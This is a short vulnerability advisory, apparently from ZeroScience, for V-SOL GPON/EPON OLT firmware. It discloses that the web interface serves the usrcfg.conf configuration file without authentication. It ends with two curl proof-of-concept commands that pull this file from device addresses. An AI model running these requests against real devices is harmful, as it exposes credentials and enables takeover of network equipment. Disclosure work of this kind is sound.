V-SOL GPON/EPON OLT Platform 2.03 Unauthenticated Configuration Download

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V-SOL GPON/EPON OLT Platform v2.03 Unauthenticated Configuration Download  
  
  
Vendor: Guangzhou V-SOLUTION Electronic Technology Co., Ltd.  
Product web page: https://www.vsolcn.com  
Affected version: V2.03.62R_IPv6  
V2.03.54R  
V2.03.52R  
V2.03.49  
V2.03.47  
V2.03.40  
V2.03.26  
V2.03.24  
V1.8.6  
V1.4  
  
Summary: GPON is currently the leading FTTH standard in broadband access  
technology being widely deployed by service providers around the world.  
GPON/EPON OLT products are 1U height 19 inch rack mount products. The  
features of the OLT are small, convenient, flexible, easy to deploy, high  
performance. It is appropriate to be deployed in compact room environment.  
The OLTs can be used for 'Triple-Play', VPN, IP Camera, Enterprise LAN and  
ICT applications.  
  
Desc: The device OLT Web Management Interface is vulnerable to unauthenticated  
configuration download and information disclosure vulnerability when direct  
object reference is made to the usrcfg.conf file using an HTTP GET method. This  
will enable the attacker to disclose sensitive information and help her in  
authentication bypass, privilege escalation and/or full system access.  
  
Tested on: GoAhead-Webs  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2019-5534  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5534.php  
  
25.09.2019  
  
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1# curl http://192.168.8.200/device/usrcfg.conf  
2# curl http://192.168.8.201/action/usrcfg.conf  
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